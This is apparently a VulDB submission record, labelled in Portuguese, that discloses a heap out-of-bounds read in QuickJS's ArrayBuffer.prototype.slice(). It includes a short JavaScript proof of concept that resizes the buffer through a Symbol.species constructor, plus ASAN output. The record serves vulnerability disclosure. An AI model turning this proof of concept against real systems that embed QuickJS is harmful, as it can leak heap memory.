| Título | Fabrice Bellard QuickJS Latest commit eb2c890 (and earlier versions) Memory Corruption |
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| Descrição | A heap buffer overflow vulnerability exists in ArrayBuffer.prototype.slice() for resizable ArrayBuffers.
The following proof-of-concept triggers the issue:
let buf = new ArrayBuffer(1000, { maxByteLength: 2000 });
Object.defineProperty(buf.constructor, Symbol.species, {
value: function(len) {
buf.resize(100);
return new ArrayBuffer(len);
}
});
buf.slice(500, 1000);
The vulnerability is a Time-of-Check-Time-of-Use (TOCTOU, CWE-367) condition where the
species constructor resizes the buffer mid-operation. The subsequent memcpy()
uses stale offset values calculated before the resize, resulting in an
out-of-bounds read of 400+ bytes beyond the allocated heap buffer.
ASAN logs:
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000002b74 at pc 0x7f41b0c4814b bp 0x7ffc17851450 sp 0x7ffc17850c00
READ of size 500 at 0x60b000002b74 thread T0 [...]
Impact: Information disclosure through heap memory leak (CWE-125: Out-of-bounds Read)
Affected Implementations:
- bellard/quickjs (issue #451)
- quickjs-ng/quickjs (issue #1210)
Credits: Iacob Razvan Mihai |
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| Fonte | ⚠️ https://github.com/bellard/quickjs/issues/451 |
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| Utilizador | im-razvan (UID 91857) |
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| Submissão | 21/10/2025 01h27 (há 12 meses) |
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| Moderação | 05/11/2025 14h54 (16 days later) |
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| Estado | Aceite |
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| Entrada VulDB | 331268 [QuickJS até eb2c89087def1829ed99630cb14b549d7a98408c quickjs.c js_array_buffer_slice Local Privilege Escalation] |
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| Pontos | 20 |
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